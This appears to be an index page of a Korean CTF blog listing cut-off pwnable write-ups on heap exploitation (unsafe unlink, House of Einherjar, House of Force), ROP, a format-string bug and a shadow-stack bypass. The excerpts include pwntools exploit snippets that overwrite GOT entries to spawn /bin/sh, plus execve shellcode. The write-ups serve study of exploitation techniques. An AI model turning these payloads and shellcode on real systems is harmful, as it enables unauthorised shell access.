목록Lab (221)
cdor1's lab
오늘에서야 존재를 알았던 codegate 2017 예선에 나온 힙 문제이다. (시작 메뉴가 참 이쁘다..ㅎ) 1번 메뉴는 힙에 공간을 할당하고 입력을 받는다. 2번 메뉴는 unlink를 직접 구현한 함수에서 delete과정이 수행된다. 3번 메뉴는 입력받은 부분을 수정할 수 있다. 4번 메뉴는 그 내용을 볼 수 있게 해준다. 여기서 heap overflow가 발생한다. leave 메뉴로 할당한 사이즈의 공간은 고정적인데 change메뉴로 그 공간에 새로운 입력을 하려 할 때 크기를 마음대로 조정할 수 있다. 이를 통해서 unsafe_unlink를 트리거 하려고 한다. 이렇게 overflow를 활용해서 chunk1의 fd를 leak 해내서 heap의 주소를 알아낸다. chunk0과 chunk1을 할당 후 ..
stack, bss 영역 등 공격자가 주소를 인지하고 있는 공간에 fake chunk를 쓰고 다음 chunk의 prev_inuse 필드를 unset 하고 prev_size를 속이게 되는데 서로 통합하는 과정에서 size와 fake.prev_size가 합쳐지면서 malloc은 fake chunk가 있는 공간에 할당하게 되고 공격자가 원하는 부분에 data를 쓸 수 있는 취약점이다. #include #include #include #include #include /* Credit to st4g3r for publishing this technique The House of Enherjar uses an off-by-one overflow with a null byte to control the pointer..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
rop 처음 공부하시거나 pwntools 공부하시는 분들을 위해 올려놓겠습니다. -Without pwntools- p = lambda x: struct.pack("
풀 문제를 찾다가 풀게 된 문제이다. arm상에서 진행되는 heap exploit은 처음이였는데 별반 다를게 없었다. house of force 기법을 이용해서 공격하게 되는데 처음에 8-bit key를 입력 받는 과정에서 top_chunk addr를 leak해 낼 수 있다. edit메뉴에서 malloc(8)을 하고 24바이트를 받게 되는데 이 과정에서 top_chunk의 크기를 0xffffffff로 덮어준다. sign_name 메뉴에서 자신이 원하는 크기만큼 힙에 할당 해 줄 수 있는데 이를 통해 hof를 트리거 할 수 있다. hof를 트리거해서 bss영역을 가르키게 만들고 그 곳 포인터들을 활용해서 fread@got를 printf@plt로 덮어 got를 leak하고 atoi를 system으로 덮고 /..
후기 : 우분투 정리하다가 예~전에 YISF예선에서 풀었던 100점짜리 문제를 찾아서 올린다. 지뢰찾기를 모티브로한 FSB문제였다. from pwn import * s = remote('112.166.114.136',38961) payload = "" payload += p32(0x0804c012) # printf_got 2 payload += p32(0x0804c010) # printf_got 1 payload += "%"+"2044"+"c"+"%3$hn"+"%"+"32140"+"c"+"%4$hn" payload += ";/bin/sh" # get shell after FSB print s.recvuntil('$') s.sendline('1') print s.recvuntil('$') s.sendlin..
보호되어 있는 글입니다.
후기 : shadow stack을 바이너리로 구현해놓은 재미있는 문제였다. bof 자체가 이전에 save해놨던 eip로만 가기때문에 불가능했지만 name포인터를 덮어 저장되었던 eip를 수정해 mprotect함수로 실행권한을 준 후 리턴 부분을 쉘코드 주소로 돌려 쉘을 얻어냈다. 재밌는 문제였다. from pwn import * s = process('./shadow') shellcode = '\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80' print s.recvuntil('Input name : ') s.sendline('dor1') print s...